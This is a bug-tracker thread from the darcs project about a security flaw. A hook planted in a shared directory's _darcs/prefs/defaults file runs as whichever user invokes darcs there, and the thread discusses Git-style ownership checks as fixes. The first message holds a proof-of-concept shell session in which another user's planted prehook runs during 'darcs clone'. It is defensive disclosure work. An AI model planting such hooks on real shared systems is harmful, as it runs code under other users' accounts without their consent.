|  | 
 | 
Created on 2022-04-13.07:14:10 by gpiero, last changed 2023-07-08.11:35:09 by ganesh. 
 
  
   | msg22979 (view) | Author: gpiero | Date: 2022-04-13.07:14:09 |  |  
   | darcs is (at least partially) vulnerable to this.
$ darcs --version
2.17.1 (+ 148 patches)
$ sudo useradd h4ck3r
$ whoami
gpiero
$ mkdir -m 777 shared
$ darcs ini shared/R
WARNING: creating a nested repository.
Finished initializing repository.
$ sudo -u h4ck3r mkdir -p shared/_darcs/prefs
$ echo 'clone prehook touch /tmp/p4wn3d' | sudo -u h4ck3r tee shared/_darcs/prefs/defaults
clone prehook touch /tmp/p4wn3d
$ cd shared
shared $ ls /tmp/p4wn3d
ls: cannot access '/tmp/p4wn3d': No such file or directory
shared $ darcs clone R S
Prehook ran successfully.
WARNING: creating a nested repository.
Copying patches, to get lazy repository hit ctrl-C...
Finished cloning.
shared $ ls /tmp/p4wn3d
/tmp/p4wn3d
The prehook is (rightly) executed even if the command doesn't succeed.
shared $ darcs clone R not-existent/S
Prehook ran successfully.  <---
darcs: not-existent/S: createDirectory: does not exist (No such file or directory)
Anyway, at least in the case of `clone`, the attack only succeeds if the 
_darcs directory resides in the cwd.
shared $ cd ..
$ darcs clone shared/R shared/S
Directory or file named 'shared/S' already exists.
(no prehook run now).
Haven't investigated further combinations or commands (e.g. does `show 
repo` read the defaults file?) |  
   | msg22980 (view) | Author: gpiero | Date: 2022-04-13.07:26:15 |  |  
   | * [Wed, Apr 13, 2022 at 07:14:10AM +0000] Gian Piero Carrubba:
>(e.g. does `show repo` read the defaults file?)
Guess so:
$ darcs help show repo | grep -c hook
8 |  
   | msg22988 (view) | Author: bfrk | Date: 2022-04-13.22:20:50 |  |  
   | Yes, every command reads the defaults file and can have hooks 
attached. How to fix this?
From https://github.blog/2022-04-12-git-security-vulnerability-
announced/ :
"Git v2.35.2 [...] changes Git’s behavior when looking for a top-
level .git directory to stop when its directory traversal changes 
ownership from the current user."
I guess we could do the same in darcs. Volunteers? |  
   | msg23496 (view) | Author: j14i | Date: 2023-07-08.09:22:00 |  |  
   | I agree, we can simplify this behavior to not recognize repositories owned by other users. As it is done I Git "v2.36.0".
src: https://github.com/git/git/blob/master/Documentation/RelNotes/2.36.0.txt
"
With the fixes for CVE-2022-24765 that are common with versions of
   Git 2.30.4, 2.31.3, 2.32.2, 2.33.3, 2.34.3, and 2.35.3, Git has
   been taught not to recognise repositories owned by other users, in
   order to avoid getting affected by their config files and hooks.
   ...
"
But I am not a Windows user and I can overlook some important scenario. 
If this kind of solution looks okay to you, I can implement it as well. |  
   | msg23497 (view) | Author: gpiero | Date: 2023-07-08.10:14:37 |  |  
   | * [Sat, Jul 08, 2023 at 09:22:00AM +0000] Jonatan Borkowski:
>I agree, we can simplify this behavior to not recognize repositories 
>owned by other users. As it is done I Git "v2.36.0".
Problem is that this would break common scenarios where a repository is 
shared between developers. I think this is also how the repository of 
darcs itself is (or, at least, was) managed.
Git introduced a configuration option (safe.directories, or something 
similar) for listing repositories that are not subject to that 
limitation. That would solve the problem with shared repositories, but 
obviously would also add complexity to the solution.
I for myself am a bit inclined towards thinking that operations like 
clone (in general, operations that create a new repo) should not read 
the defaults file and marking the remaining cases as "work as intended".
Best,
Gian Piero. |  
   | msg23498 (view) | Author: gpiero | Date: 2023-07-08.10:30:32 |  |  
   | * [Sat, Jul 08, 2023 at 12:14:28PM +0200] Gian Piero Carrubba:
> should not read the defaults file
More appropriately: should not execute hooks. As for reading the 
defaults file itself (w/o hooks), maybe there are legitimate cases that 
require it.
Moreover, when mentioning the defaults file, I'm referring to 
"_darcs/prefs/defaults". "$HOME/.darcs/defaults" should always be read 
and its hooks executed (for increased security, it should be checked 
that it's owned and only writeable by the user). |  
   | msg23499 (view) | Author: ganesh | Date: 2023-07-08.11:35:09 |  |  
   | > Problem is that this would break common scenarios where a repository is 
> shared between developers. I think this is also how the repository of
> darcs itself is (or, at least, was) managed.
I think we switched back to a single shared user because there were too many
cases where the permissions got messed up.
> should not read the defaults file
> More appropriately: should not execute hooks. As for reading the 
> defaults file itself (w/o hooks), maybe there are legitimate cases that 
> require it.
I've seen three options so far for when an _darcs has the wrong ownership
(assuming the user doesn't explicitly override somehow):
 - Ignore the _darcs directory completely
 - Ignore _darcs/prefs/defaults
 - Restrict certain actions
Restricting actions would require passing around adding some property to
the runtime representation of repositories, and then figuring out all
the right places to respect it. So I'd be more inclined towards one of the 
first two. |  |
 
| Date | User | Action | Args |  | 2022-04-13 07:14:10 | gpiero | create |  |  | 2022-04-13 07:26:15 | gpiero | set | messages:
  + msg22980 |  | 2022-04-13 22:20:50 | bfrk | set | messages:
  + msg22988 |  | 2023-07-08 09:22:00 | j14i | set | messages:
  + msg23496 |  | 2023-07-08 10:14:37 | gpiero | set | messages:
  + msg23497 |  | 2023-07-08 10:30:32 | gpiero | set | messages:
  + msg23498 |  | 2023-07-08 11:35:09 | ganesh | set | messages:
  + msg23499 | 
 |